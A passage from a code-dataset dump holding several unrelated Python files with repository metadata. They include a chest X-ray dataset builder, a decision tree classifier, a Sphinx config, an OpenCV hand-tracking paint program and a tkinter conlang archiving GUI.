bacterial_patients, normal_patients\n\n\ndef dataset_investigate():\n lists = scrape_metadata()\n\n print(\"not unique viral-covid: \", len(lists[0]))\n print(\"not unique viral-other: \", len(lists[1]))\n print(\"not unique bacterial: \", len(lists[2]))\n print(\"not unique normal: \", len(lists[3]))\n\n\ndef construct_dataset(default_size=240, reset=False, create=False):\n if reset:\n prepare_directory(train_viral_covid19_folder)\n prepare_directory(train_viral_other_folder)\n prepare_directory(train_bacterial_folder)\n prepare_directory(train_normal_folder)\n prepare_directory(test_viral_covid19_folder)\n prepare_directory(test_viral_other_folder)\n prepare_directory(test_bacterial_folder)\n prepare_directory(test_normal_folder)\n\n lists = scrape_metadata()\n\n viral_covid_dict = lists[0]\n viral_covid_images = list(viral_covid_dict.keys())\n viral_covid_types = list(viral_covid_dict.values())\n len_viral_covid = len(viral_covid_dict)\n viral_other_dict = lists[1]\n viral_other_images = list(viral_other_dict.keys())\n viral_other_types = list(viral_other_dict.values())\n len_viral_other = len(viral_other_dict)\n bacterial_dict = lists[2]\n bacterial_images = list(bacterial_dict.keys())\n bacterial_types = list(bacterial_dict.values())\n len_bacterial = len(bacterial_dict)\n normal_dict = lists[3]\n normal_images = list(normal_dict.keys())\n normal_types = list(normal_dict.values())\n len_normal = len(normal_dict)\n\n# ---------------------------------------------------------------------------------------------------------------------\n\n len_train_viral_covid = 40\n len_test_viral_covid = 18\n\n len_train_viral_other = len_train_bacterial = len_train_normal = default_size\n len_test_viral_other = len_test_bacterial = len_test_normal = int(default_size / 3)\n\n # construct train and test sets\n train_viral_covid, train_viral_other, train_bacterial, train_normal = {}, {}, {}, {}\n train_size = len_train_viral_covid + len_train_viral_other + len_train_bacterial + len_train_normal\n\n test_viral_covid, test_viral_other, test_bacterial, test_normal = {}, {}, {}, {}\n test_size = len_test_viral_covid + len_test_viral_other + len_test_bacterial + len_test_normal\n\n viral_covid_iter = viral_other_iter = bacterial_iter = normal_iter = 0\n for i in range(train_size):\n if viral_covid_iter < len_train_viral_covid:\n train_viral_covid[viral_covid_images[viral_covid_iter]] = viral_covid_types[viral_covid_iter]\n viral_covid_iter += 1\n elif viral_other_iter < len_train_viral_other:\n train_viral_other[viral_other_images[viral_other_iter]] = viral_other_types[viral_other_iter]\n viral_other_iter += 1\n elif bacterial_iter < len_train_bacterial:\n train_bacterial[bacterial_images[bacterial_iter]] = bacterial_types[bacterial_iter]\n bacterial_iter += 1\n else:\n train_normal[normal_images[normal_iter]] = normal_types[normal_iter]\n normal_iter += 1\n\n for i in range(test_size):\n if viral_covid_iter < len_train_viral_covid + len_test_viral_covid:\n test_viral_covid[viral_covid_images[viral_covid_iter]] = viral_covid_types[viral_covid_iter]\n viral_covid_iter += 1\n elif viral_other_iter < len_train_viral_other + len_test_viral_other:\n test_viral_other[viral_other_images[viral_other_iter]] = viral_other_types[viral_other_iter]\n viral_other_iter += 1\n elif bacterial_iter < len_train_bacterial + len_test_bacterial:\n test_bacterial[bacterial_images[bacterial_iter]] = bacterial_types[bacterial_iter]\n bacterial_iter += 1\n else:\n test_normal[normal_images[normal_iter]] = normal_types[normal_iter]\n normal_iter += 1\n\n print(len(train_viral_covid))\n print(len(train_viral_other))\n print(len(train_bacterial))\n print(len(train_normal))\n\n print(len(test_viral_covid))\n print(len(test_viral_other))\n print(len(test_bacterial))\n print(len(test_normal))\n\n if create:\n construct_related_base_directory(train_viral_covid, train_viral_covid19_folder)\n construct_related_base_directory(train_viral_other, train_viral_other_folder)\n construct_related_base_directory(train_bacterial, train_bacterial_folder)\n construct_related_base_directory(train_normal, train_normal_folder)\n\n construct_related_base_directory(test_viral_covid, test_viral_covid19_folder)\n construct_related_base_directory(test_viral_other, test_viral_other_folder)\n construct_related_base_directory(test_bacterial, test_bacterial_folder)\n construct_related_base_directory(test_normal, test_normal_folder)\n\n\ndef split_main_dataset(reset=False, create=False):\n viral_covid19_folder = SOURCE_DIR + \"/viral_covid/\"\n viral_other_folder = SOURCE_DIR + \"/viral_other/\"\n bacterial_folder = SOURCE_DIR + \"/bacterial/\"\n normal_folder = SOURCE_DIR + \"/normal/\"\n\n if reset:\n prepare_directory(viral_covid19_folder)\n prepare_directory(viral_other_folder)\n prepare_directory(bacterial_folder)\n prepare_directory(normal_folder)\n\n lists = scrape_metadata()\n\n viral_covid_dict = lists[0]\n viral_other_dict = lists[1]\n bacterial_dict = lists[2]\n normal_dict = lists[3]\n\n if create:\n construct_related_base_directory(viral_covid_dict, viral_covid19_folder)\n construct_related_base_directory(viral_other_dict, viral_other_folder)\n construct_related_base_directory(bacterial_dict, bacterial_folder)\n construct_related_base_directory(normal_dict, normal_folder)\n\n\ndef elect_from_larger_dataset(small, large, dataset):\n elected = []\n rand = []\n rand_range = len(small)\n\n for _ in range(rand_range):\n r = randrange(rand_range)\n while r in rand:\n r = randrange(rand_range)\n rand.append(r)\n elected.append(large[r])\n\n refuse = list(set(large) - set(elected))\n\n dataset = remove_refuse_info_list_from_list(refuse, \"id\", dataset)\n\n return elected, dataset\n\n\ndef remove_refuse_info_list_from_list(refuse, key, target):\n temp_list = []\n for data in target:\n if data[key] not in refuse:\n temp_list.append(data)\n\n target.clear()\n target.extend(temp_list)\n temp_list.clear()\n\n return target\n\n\ndef prepare_directory(folder):\n if os.path.exists(folder):\n if len(os.listdir(folder)) != 0:\n clear_directory(folder)\n else:\n create_directory(folder)\n\n\ndef create_directory(folder):\n os.makedirs(folder)\n\n\ndef clear_directory(folder):\n for filename in os.listdir(folder):\n file_path = os.path.join(folder, filename)\n try:\n if os.path.isfile(file_path) or os.path.islink(file_path):\n os.unlink(file_path)\n elif os.path.isdir(file_path):\n rmtree(file_path)\n except Exception as e:\n print('Failed to delete %s. Reason: %s' % (file_path, e))\n\n\ndef construct_related_base_directory(data_dict, folder):\n for img in data_dict:\n source = SOURCE_DIR + \"/\" + data_dict[img] + \"/\" + img\n destination = folder + img\n copyfile(source, destination)\n\n\nif __name__ == '__main__':\n # RUN JUST ONE TIME\n # construct_dataset(reset=False, create=False)\n dataset_investigate()\n","repo_name":"ozanguldali/final-covid-chestxray","sub_path":"dataset_constructor.py","file_name":"dataset_constructor.py","file_ext":"py","file_size_in_byte":9817,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"6546447584","text":"# Importing the libraries\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.metrics import confusion_matrix, accuracy_score\nfrom sklearn.tree import DecisionTreeClassifier\nimport pandas as pd\n\n# Importing the dataset\ndataset = pd.read_csv('../Social_Network_Ads.csv')\nX = dataset.iloc[:, :-1].values\ny = dataset.iloc[:, -1].values\n\n# Splitting the dataset into the Training set and Test set\n\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.25, random_state = 0)\n\n# Feature Scaling\nsc = StandardScaler()\nX_train = sc.fit_transform(X_train)\nX_test = sc.transform(X_test)\n\n# Training the Decision tree\n# criterion{“gini”, “entropy”}, default=”gini” The function to measure the quality of a split. Supported criteria\n# are “gini” for the Gini impurity and “entropy” for the information gain.\ntree_classifier = DecisionTreeClassifier(max_depth=5, min_samples_split=2, random_state=0, criterion= 'entropy')\ntree_classifier.fit(X_train,y_train)\ny_pred = tree_classifier.predict(X_test)\n\n# Predicting a new result\nprint(tree_classifier.predict(sc.transform([[30,87000]])))\n\n# Predicting the Test set results\ny_pred = tree_classifier.predict(X_test)\n#print(np.concatenate((y_pred.reshape(len(y_pred),1), y_test.reshape(len(y_test),1)),1))\n\n# Making the Confusion Matrix\nprint(confusion_matrix(y_test, y_pred))\nprint(accuracy_score(y_test, y_pred))\n","repo_name":"AymanNasser/Machine-Learning-From-A-Z","sub_path":"3 - Classification/S21 - Decision Tree/decision_tree_classification.py","file_name":"decision_tree_classification.py","file_ext":"py","file_size_in_byte":1448,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"40715712589","text":"HEXS = {'a': 10, 'b':11, 'c':12, 'd':13, 'e':14, 'f':15}\r\n\r\ndef hexa(num_str):\r\n return sum([conv(x)*(16**i) for i,x in enumerate(num_str[::-1])])\r\n\r\ndef conv(num):\r\n if num in '0123456789':\r\n return int(num)\r\n try:\r\n return HEXS[num.lower()]\r\n except:\r\n raise ValueError(\"Not a valid Hexadecimal number string\")\n","repo_name":"itsolutionscorp/AutoStyle-Clustering","sub_path":"all_data/exercism_data/python/hexadecimal/08c91d9f153b4050aa32caa84c482b99.py","file_name":"08c91d9f153b4050aa32caa84c482b99.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"68"} +{"seq_id":"22340588965","text":"import os\nfrom os.path import join, dirname, abspath\nfrom datetime import datetime\n\nimport alabaster\n\n\n# Alabaster theme + mini-extension\nhtml_theme_path = [alabaster.get_path()]\nextensions = [\n 'alabaster',\n 'sphinx.ext.autodoc',\n 'sphinx.ext.napoleon',\n 'sphinx.ext.todo',\n 'sphinx.ext.mathjax',\n 'sphinx.ext.intersphinx',\n 'nbsphinx',\n 'IPython.sphinxext.ipython_console_highlighting',\n]\nintersphinx_mapping = {\n 'python': ('https://docs.python.org/3', None),\n 'astropy': ('http://docs.astropy.org/en/stable/', None),\n 'numpy': ('https://docs.scipy.org/doc/numpy/', None),\n 'scipy': ('https://docs.scipy.org/doc/scipy/reference', None),\n 'matplotlib': ('http://matplotlib.org', None)\n}\n#Nbsphinx configuration\nif os.environ.get('READTHEDOCS') == 'True':\n nbsphinx_execute = 'never'\nelse:\n nbsphinx_execute = 'always'\n\n # Controls when a cell will time out (defaults to 30; use -1 for no timeout):\n nbsphinx_timeout = 60\n\n\n# html_favicon = '_static/favicon.ico'\n# html_static_path = [\"_static\"]\nhtml_theme = \"alabaster\"\nhtml_theme_options = {\n 'logo': 'logo_trans.png',\n 'logo_name': True,\n 'logo_text_align': 'center',\n 'travis_button' : True,\n 'codecov_button': True,\n 'description':'Astrodynamics in Python',\n 'body_text_align': 'left',\n 'github_user': 'poliastro',\n 'github_repo': 'poliastro',\n 'show_relbars': True,\n 'show_powered_by': False,\n 'page_width': '80%',\n 'github_banner': True,\n 'extra_nav_links' : { 'Benchmarks': 'https://blog.poliastro.space/poliastro-benchmarks/',\n 'Blog': 'https://blog.poliastro.space/',\n },\n}\n# html_sidebars = {\n # \"**\": [\"about.html\", \"navigation.html\", \"searchbox.html\", \"donate.html\"]\n# }\n# Regular settings\npygments_style = 'sphinx'\nproject = \"poliastro\"\nyear = datetime.now().year\ncopyright = \"2013 - %d, Juan Luis Cano Rodríguez and the poliastro development team\" % year\nmaster_doc = \"index\"\ntemplates_path = [\"_templates\"]\nexclude_trees = [\"_build\"]\nexclude_patterns = ['_build', '**.ipynb_checkpoints']\nsource_suffix = \".rst\"\ndefault_role = \"obj\"\nversion = '0.11'\nrelease = '0.11.dev0'\nautodoc_member_order = 'bysource'\nsuppress_warnings = ['image.nonlocal_uri']\n\n\n# -- Options for LaTeX output ---------------------------------------------\n\nlatex_elements = {\n# The paper size ('letterpaper' or 'a4paper').\n#'papersize': 'letterpaper',\n\n# The font size ('10pt', '11pt' or '12pt').\n#'pointsize': '10pt',\n\n# Additional stuff for the LaTeX preamble.\n#'preamble': '',\n}\n\n# Grouping the document tree into LaTeX files. List of tuples\n# (source start file, target name, title,\n# author, documentclass [howto, manual, or own class]).\nlatex_documents = [\n ('index', 'poliastro.tex', 'poliastro Documentation',\n 'Juan Luis Cano Rodríguez', 'manual'),\n]\n\n# The name of an image file (relative to this directory) to place at the top of\n# the title page.\n#latex_logo = None\n\n# For \"manual\" documents, if this is true, then toplevel headings are parts,\n# not chapters.\n#latex_use_parts = False\n\n# If true, show page references after internal links.\n#latex_show_pagerefs = False\n\n# If true, show URL addresses after external links.\n#latex_show_urls = False\n\n# Documents to append as an appendix to all manuals.\n#latex_appendices = []\n\n# If false, no module index is generated.\n#latex_domain_indices = True\n\n\n# -- Options for manual page output ---------------------------------------\n\n# One entry per manual page. List of tuples\n# (source start file, name, description, authors, manual section).\nman_pages = [\n ('index', 'poliastro', 'poliastro Documentation',\n ['Juan Luis Cano Rodríguez'], 1)\n]\n\n# If true, show URL addresses after external links.\n#man_show_urls = False\n\n\n# -- Options for Texinfo output -------------------------------------------\n\n# Grouping the document tree into Texinfo files. List of tuples\n# (source start file, target name, title, author,\n# dir menu entry, description, category)\ntexinfo_documents = [\n ('index', 'poliastro', 'poliastro Documentation',\n 'Juan Luis Cano Rodríguez', 'poliastro', 'One line description of project.',\n 'Miscellaneous'),\n]\n\n# Documents to append as an appendix to all manuals.\n#texinfo_appendices = []\n\n# If false, no module index is generated.\n#texinfo_domain_indices = True\n\n# How to display URL addresses: 'footnote', 'no', or 'inline'.\n#texinfo_show_urls = 'footnote'\n\n# If true, do not generate a @detailmenu in the \"Top\" node's menu.\n#texinfo_no_detailmenu = False\n","repo_name":"shreyasbapat/sphinx-based-webpage","sub_path":"conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":4532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"13475782738","text":"import cv2\r\nimport numpy as np\r\nimport trackingModule as tm\r\nimport os\r\n\r\n################\r\nframewidth, frameheight = 1280, 640\r\nbrushThickness = 15\r\nearserThinckness = 25\r\n###############\r\n\r\noverlay = []\r\nfolder = 'Header2'\r\nimages = os.listdir(folder)\r\nfor impath in images:\r\n img = cv2.imread(f'{folder}/{impath}')\r\n overlay.append(img)\r\n# print(images)\r\n\r\n\r\ndef run():\r\n # Camera setting....\r\n cap = cv2.VideoCapture(2)\r\n cap.set(3, framewidth)\r\n cap.set(4, frameheight)\r\n header = overlay[0]\r\n drawColor = (255, 255, 0)\r\n xp, yp = 0, 0\r\n imgCanvas = np.zeros((frameheight, framewidth, 3), np.uint8)\r\n\r\n Detector = tm.handDetector(detectionCon=0.85)\r\n\r\n while True:\r\n ret, img = cap.read()\r\n img = cv2.flip(img, 1)\r\n\r\n\r\n img = Detector.handTracking(img)\r\n lmList = Detector.positionTracking(img, draw=False)\r\n\r\n if len(lmList) !=0:\r\n\r\n fingers = Detector.fingersUp()\r\n # print(fingers)\r\n\r\n x1, y1 = lmList[8][1:]\r\n x2, y2 = lmList[12][1:]\r\n\r\n if fingers[1] and fingers[2]:\r\n xp, yp = 0, 0\r\n cv2.rectangle(img, (x1, y1-15), (x2, y2+15), (255, 23, 54), -1)\r\n print(\"Selection Mode\")\r\n if y1 < 139:\r\n if 0 < x1 < 220:\r\n header = overlay[0]\r\n drawColor = (255, 255, 0) ##BGR\r\n elif 230 < x1 < 450:\r\n header = overlay[1]\r\n drawColor = (51, 255, 51)\r\n elif 450 < x1 < 740:\r\n header = overlay[2]\r\n drawColor = (0, 0, 255)\r\n elif 750 < x1 < 900:\r\n header = overlay[3]\r\n drawColor = (0, 0, 0)\r\n elif 910 3:\n im = im[:,:,:3]\nps = 8\ntau = 1.\nautomatic = True\nout = np.zeros(im.shape, dtype=np.float32)\nim = np.ascontiguousarray(im.transpose(2,0,1))\nc, h, w = im.shape\ndetection = rcmfd.perform_matching_py(c, im, w, h, ps, tau, automatic, out, False)\niio.write(\"test.png\", out)\n\nprint(\"This image is a forgery: \", detection)\n","repo_name":"tehret/rcmfd","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":501,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"68"} +{"seq_id":"20316549580","text":"import tkinter as tk\nfrom conarch import db\nfrom conarch.gui_word_form import WordFormWindow, NewWordFormWindow\nfrom conarch.gui_sound import NewSoundWindow, SoundSelectWindow, SoundWindow\nfrom conarch.gui_word import NewWordWindow, WordWindow\nfrom conarch.gui_sound_change import NewSoundChangeWindow, SoundChangeWindow\nfrom conarch.gui_language import NewLanguageWindow, CloneLanguageWindow, BranchLanguageWindow, LanguageWindow\n\n\nclass Application:\n def __init__(self, master):\n self.master = master\n self.frame = tk.Frame(self.master)\n\n db.check_create_db()\n\n self.language_list_frame = tk.LabelFrame(self.frame, text='Choose a Language')\n self.languages = db.fetch_all_languages()\n self.language_list_scrollbar = tk.Scrollbar(self.language_list_frame, orient='vertical')\n self.language_list = tk.Listbox(self.language_list_frame, height=8,\n yscrollcommand=self.language_list_scrollbar.set)\n self.language_list_scrollbar.configure(command=self.language_list.yview)\n i = 0\n for language in self.languages:\n self.language_list.insert(i, language.name if language.source_language is None else\n (' ' * language.get_branch_depth()) + '↳' + language.name)\n i = i + 1\n self.language_list.bind('', self.open_language_from_list)\n self.new_language_button = tk.Button(self.language_list_frame, text='Add New Language',\n command=self.popup_new_language_window)\n\n self.current_language = None\n\n self.language_list.grid(row=1, column=1, padx=(4, 0), pady=2)\n self.language_list_scrollbar.grid(row=1, column=2, sticky='ns', padx=(0, 4), pady=2)\n self.new_language_button.grid(row=2, column=1, pady=2, columnspan=2)\n self.language_list_frame.grid(column=1, row=1, padx=8, pady=6)\n\n self.clone_language_button = tk.Button(self.frame, text='Clone This Language',\n command=self.popup_clone_language_window)\n self.branch_language_button = tk.Button(self.frame, text='Branch This Language',\n command=self.popup_branch_language_window)\n self.clone_language_button.grid(row=2, column=1, pady=2)\n self.branch_language_button.grid(row=3, column=1, pady=2)\n self.clone_language_button.configure(state='disabled')\n self.branch_language_button.configure(state='disabled')\n\n self.language_info_frame = tk.LabelFrame(self.frame, text='Language Information')\n self.language_sounds = None\n self.language_sound_list_type = tk.StringVar()\n self.language_sound_list_type.set('Modern Sounds')\n self.language_sound_list_label = tk.Label(self.language_info_frame, text='Sound Inventory')\n self.language_sound_list_type_menu = tk.OptionMenu(self.language_info_frame,\n self.language_sound_list_type,\n *['Modern Sounds', 'Original Sounds'],\n command=self.language_sound_list_type_changed)\n self.language_sound_list_scrollbar = tk.Scrollbar(self.language_info_frame, orient='vertical')\n self.language_sound_list = tk.Listbox(self.language_info_frame, width=18,\n yscrollcommand=self.language_sound_list_scrollbar.set)\n self.language_sound_list_scrollbar.configure(command=self.language_sound_list.yview)\n self.language_sound_list.bind('', self.open_current_language_sound)\n self.add_sound_button = tk.Button(self.language_info_frame, text='Add New Sound',\n command=self.popup_new_sound_window)\n self.language_words = None\n self.language_word_list_label = tk.Label(self.language_info_frame, text='Stem Dictionary')\n self.language_word_list_scrollbar = tk.Scrollbar(self.language_info_frame, orient='vertical')\n self.language_word_list = tk.Listbox(self.language_info_frame, width=20,\n yscrollcommand=self.language_word_list_scrollbar.set)\n self.language_word_list_scrollbar.configure(command=self.language_word_list.yview)\n self.language_word_list.bind('', self.open_current_language_word)\n self.add_word_button = tk.Button(self.language_info_frame, text='Add New Word',\n command=self.popup_new_word_window)\n self.language_history = None\n self.language_history_list_label = tk.Label(self.language_info_frame, text='Language History')\n self.language_history_list_scrollbar = tk.Scrollbar(self.language_info_frame, orient='vertical')\n self.language_history_list = tk.Listbox(self.language_info_frame, width=44,\n yscrollcommand=self.language_history_list_scrollbar.set)\n self.language_history_list_scrollbar.configure(command=self.language_history_list.yview)\n self.language_history_list.bind('', self.open_history_item)\n self.add_sound_change_button = tk.Button(self.language_info_frame, text='Add Historical Sound Change',\n command=self.popup_new_sound_change_window)\n self.add_word_form_button = tk.Button(self.language_info_frame, text='Add Word Form',\n command=self.popup_new_word_form_window)\n\n self.language_frame = tk.Frame(self.language_info_frame)\n self.view_language_at_stage_button = tk.Button(self.language_frame,\n text='View Language at an Older Stage:',\n command=self.popup_current_language_older_stage)\n self.view_language_at_stage_stage = tk.StringVar()\n self.view_language_at_stage_stage.set('0')\n self.view_language_at_stage_stage_menu = tk.OptionMenu(self.language_frame,\n self.view_language_at_stage_stage,\n *['0'])\n self.edit_language_button = tk.Button(self.language_frame, text='Edit Language',\n command=self.edit_current_language)\n\n self.popup_language_window = None\n self.last_opened_popup_language = None\n self.popup_language_sounds = None\n self.popup_language_words = None\n self.popup_language_history = None\n\n # self.language_sound_list_label.grid(row=1, column=1)\n self.language_sound_list_type_menu.grid(row=1, column=1, columnspan=2) # TODO ugly\n self.language_sound_list.grid(row=2, column=1)\n self.language_sound_list_scrollbar.grid(row=2, column=2, sticky='ns')\n self.add_sound_button.grid(row=3, column=1, columnspan=2)\n self.language_word_list_label.grid(row=1, column=3)\n self.language_word_list.grid(row=2, column=3)\n self.language_word_list_scrollbar.grid(row=2, column=4, sticky='ns')\n self.add_word_button.grid(row=3, column=3, columnspan=2)\n self.language_history_list_label.grid(row=1, column=5)\n self.language_history_list.grid(row=2, column=5)\n self.language_history_list_scrollbar.grid(row=2, column=6, sticky='ns')\n self.add_sound_change_button.grid(row=3, column=5, columnspan=2, sticky='w')\n self.add_word_form_button.grid(row=3, column=5, columnspan=2, sticky='e')\n self.language_info_frame.grid(column=2, row=1, padx=8, pady=6, rowspan=3)\n for child in self.language_info_frame.winfo_children():\n try:\n child['state'] = 'disabled'\n except tk.TclError:\n pass\n\n self.view_language_at_stage_button.grid(row=1, column=1)\n self.view_language_at_stage_stage_menu.grid(row=2, column=1, pady=(0, 4))\n self.edit_language_button.grid(row=3, column=1, pady=(4, 0))\n self.language_frame.grid(column=7, row=1, rowspan=3, padx=6)\n for child in self.language_frame.winfo_children():\n try:\n child['state'] = 'disabled'\n except tk.TclError:\n pass\n\n self.frame.grid()\n\n def popup_new_language_window(self, confirm_command=None, edit_language=None):\n if confirm_command is None:\n confirm_command = self.create_language if edit_language is None else self.update_edit_language\n new_language_window = tk.Toplevel(self.frame)\n NewLanguageWindow(new_language_window, confirm_command, edit_language)\n\n def create_language(self, new_language):\n db.insert_language(new_language)\n self.language_list.insert(len(self.languages), new_language.name)\n self.languages.append(new_language)\n\n def update_edit_language(self, edit_language):\n db.update_language(edit_language)\n self.reload_current_language()\n\n def popup_clone_language_window(self):\n iteration = 2\n while self.current_language.name + ' ' + str(iteration) in [lang.name for lang in self.languages]:\n iteration = iteration + 1\n clone_language_window = tk.Toplevel(self.frame)\n CloneLanguageWindow(clone_language_window, self.current_language, self.create_language, iteration=iteration)\n\n def popup_branch_language_window(self):\n branch_language_window = tk.Toplevel(self.frame)\n BranchLanguageWindow(branch_language_window, self.current_language, self.branch_language)\n\n def branch_language(self, new_language):\n db.insert_language(new_language)\n self.language_list.insert(self.languages.index(self.current_language) + 1,\n (' ' * new_language.get_branch_depth()) + '↳' + new_language.name)\n self.languages.insert(self.languages.index(self.current_language) + 1, new_language)\n\n def open_language_from_list(self, event):\n language = self.languages[event.widget.curselection()[0]]\n db.reload_language(language)\n self.open_language(language)\n\n def open_language(self, language):\n for child in self.language_info_frame.winfo_children():\n try:\n child['state'] = 'normal'\n except tk.TclError:\n pass\n self.clone_language_button.configure(state='normal')\n self.branch_language_button.configure(state='normal')\n for child in self.language_frame.winfo_children():\n try:\n child['state'] = 'normal'\n except tk.TclError:\n pass\n\n self.language_info_frame['text'] = 'Language Information: ' + language.name\n\n self.language_sound_list_type.set('Modern Sounds')\n self.language_sound_list.delete(0, tk.END)\n self.language_sounds = list()\n i = 0\n for sound in language.modern_phonetic_inventory:\n sound_name = sound.orthographic_transcription\n if sound.ipa_transcription is not None:\n sound_name = sound_name + ' /' + sound.ipa_transcription + '/'\n self.language_sound_list.insert(i, sound_name)\n self.language_sounds.append(sound)\n i = i + 1\n\n self.language_word_list.delete(0, tk.END)\n self.language_words = list()\n i = 0\n for word in language.words:\n word_stem = word.get_modern_stem_string(include_ipa=True)\n self.language_word_list.insert(i, word_stem)\n self.language_words.append(word)\n i = i + 1\n\n self.language_history_list.delete(0, tk.END)\n self.language_history = list()\n i = 0 # language stage\n j = 0 # position in list\n for sound_change in language.sound_changes:\n for word_form in language.get_forms_added_at_stage(i): # get all forms in a stage (move to own window?)\n form = word_form.categories + ' form: ' + word_form.name\n self.language_history_list.insert(j, form)\n self.language_history.append(word_form)\n j = j + 1\n history = 'Sound Change: ' + str(sound_change) # then advance the stage with a sound change\n self.language_history_list.insert(j, history)\n self.language_history.append(sound_change)\n j = j + 1\n i = i + 1\n for word_form in language.get_forms_added_at_stage(i): # get all forms in the current stage\n form = word_form.categories + ' form: ' + word_form.name\n self.language_history_list.insert(j, form)\n self.language_history.append(word_form)\n j = j + 1\n\n menu = self.view_language_at_stage_stage_menu['menu']\n menu.delete(0, tk.END)\n for i in range(0, language.get_current_stage()):\n menu.add_command(label=str(i), command=lambda value=str(i): self.view_language_at_stage_stage.set(value))\n\n self.current_language = language\n\n def edit_current_language(self):\n self.popup_new_language_window(edit_language=self.current_language)\n\n def reload_current_language(self):\n self.open_language(self.current_language)\n\n def popup_open_language(self, language, label=None):\n language_window = tk.Toplevel(self.frame)\n LanguageWindow(language_window, language, label=label)\n\n def popup_current_language_older_stage(self):\n self.popup_open_language(self.current_language.copy_language_at_stage(\n language_stage=int(self.view_language_at_stage_stage.get())),\n label=self.current_language.name + ' - Stage ' + self.view_language_at_stage_stage.get())\n\n def language_sound_list_type_changed(self, _):\n if 'modern' in self.language_sound_list_type.get().lower():\n inventory = self.current_language.modern_phonetic_inventory\n else:\n inventory = self.current_language.original_phonetic_inventory\n self.language_sound_list.delete(0, tk.END)\n self.language_sounds = list()\n i = 0\n for sound in inventory:\n sound_name = sound.orthographic_transcription\n if sound.ipa_transcription is not None:\n sound_name = sound_name + ' /' + sound.ipa_transcription + '/'\n self.language_sound_list.insert(i, sound_name)\n self.language_sounds.append(sound)\n i = i + 1\n\n def popup_new_sound_window(self, confirm_command=None, edit_sound=None):\n if confirm_command is None:\n confirm_command = self.create_sound if edit_sound is None else self.update_edit_sound\n new_sound_window = tk.Toplevel(self.frame)\n NewSoundWindow(new_sound_window, confirm_command, edit_sound)\n\n def create_sound(self, new_sound):\n self.current_language.add_original_sound(new_sound)\n db.insert_sound(new_sound)\n db.insert_language_sound(self.current_language.language_id, new_sound)\n self.reload_current_language()\n\n def update_edit_sound(self, edit_sound):\n db.update_sound(edit_sound)\n db.update_language_sound(self.current_language.language_id, edit_sound)\n self.reload_current_language()\n\n def popup_new_word_window(self, confirm_command=None, edit_word=None):\n if confirm_command is None:\n confirm_command = self.create_word if edit_word is None else self.update_edit_word\n new_word_window = tk.Toplevel(self.frame)\n NewWordWindow(new_word_window, self.current_language, confirm_command, edit_word=edit_word)\n\n def create_word(self, new_word):\n self.current_language.add_word(new_word, new_word.original_language_stage)\n db.insert_word(new_word, self.current_language.language_id)\n self.language_word_list.insert(len(self.language_words), new_word.get_modern_stem_string(include_ipa=True))\n self.language_words.append(new_word)\n\n def update_edit_word(self, edit_word):\n db.update_word(edit_word, refresh_sounds=True, refresh_definitions=True)\n self.reload_current_language()\n\n def popup_sound_select_window(self, select_command=None, new_sound_command=None):\n sound_select_window = tk.Toplevel(self.frame)\n SoundSelectWindow(sound_select_window, self.current_language.get_full_sound_inventory(), select_command,\n new_sound_command=new_sound_command)\n\n def popup_new_sound_change_window(self, confirm_command=None, edit_sound_change=None):\n if confirm_command is None:\n confirm_command = self.create_sound_change if edit_sound_change is None else self.update_edit_sound_change\n new_sound_change_window = tk.Toplevel(self.frame)\n NewSoundChangeWindow(new_sound_change_window, self.current_language, confirm_command,\n edit_sound_change=edit_sound_change, new_sound_command=self.create_sound)\n\n def create_sound_change(self, new_sound_change):\n db.insert_sound_change_rule(new_sound_change)\n db.insert_language_sound_change_rule(self.current_language.language_id, new_sound_change.sound_change_rule_id,\n ordering=len(self.language_history))\n self.current_language.apply_sound_change(new_sound_change)\n self.reload_current_language()\n\n def update_edit_sound_change(self, edit_sound_change):\n db.update_sound_change_rule(edit_sound_change)\n self.reload_current_language()\n\n def popup_new_word_form_window(self, confirm_command=None, edit_word_form=None):\n if confirm_command is None:\n confirm_command = self.create_word_form if edit_word_form is None else self.update_edit_sound_change\n new_word_form_window = tk.Toplevel(self.frame)\n NewWordFormWindow(new_word_form_window, self.current_language, confirm_command, edit_word_form)\n return\n\n def create_word_form(self, word_form):\n new_words = self.current_language.add_word_form(word_form)\n db.insert_word_form_rule(word_form, self.current_language.language_id)\n for word in new_words:\n db.insert_word(word, self.current_language.language_id) # these should all have a stem word id by now\n self.reload_current_language()\n\n def update_edit_word_form(self, word_form):\n db.update_word_form_rule(word_form, refresh_sound_change_rules=True)\n self.reload_current_language()\n\n def open_sound(self, sound, allow_edit=True):\n sound_window = tk.Toplevel(self.frame)\n edit_command = self.update_edit_sound if allow_edit else None\n SoundWindow(sound_window, sound, edit_command)\n\n def open_current_language_sound(self, event):\n self.open_sound(self.language_sounds[event.widget.curselection()[0]])\n\n def open_word(self, word, allow_edit=True):\n word_window = tk.Toplevel(self.frame)\n WordWindow(word_window, self.current_language, word,\n edit_word_command=self.update_edit_word if allow_edit else None)\n\n def open_current_language_word(self, event):\n self.open_word(self.language_words[event.widget.curselection()[0]])\n\n def open_sound_change(self, sound_change, allow_edit=True):\n sound_change_window = tk.Toplevel(self.frame)\n SoundChangeWindow(sound_change_window, self.current_language, sound_change,\n edit_sound_change_command=self.update_edit_sound_change if allow_edit else None,\n new_sound_command=self.create_sound)\n\n def open_current_language_sound_change(self, event):\n self.open_sound_change(self.language_history[event.widget.curselection()[0]])\n\n def open_history_item(self, event):\n item = self.language_history[event.widget.curselection()[0]]\n if 'SoundChangeRule' in str(type(item)): # 'type(x) is y' does not work anymore for some reason\n self.open_sound_change(item)\n elif 'WordFormRule' in str(type(item)):\n word_form_window = tk.Toplevel(self.frame)\n WordFormWindow(word_form_window, language=self.current_language, word_form=item,\n edit_word_form_command=self.update_edit_word_form)\n\n\nif __name__ == '__main__':\n root = tk.Tk()\n root.title('Conlang Archivist')\n app = Application(root)\n 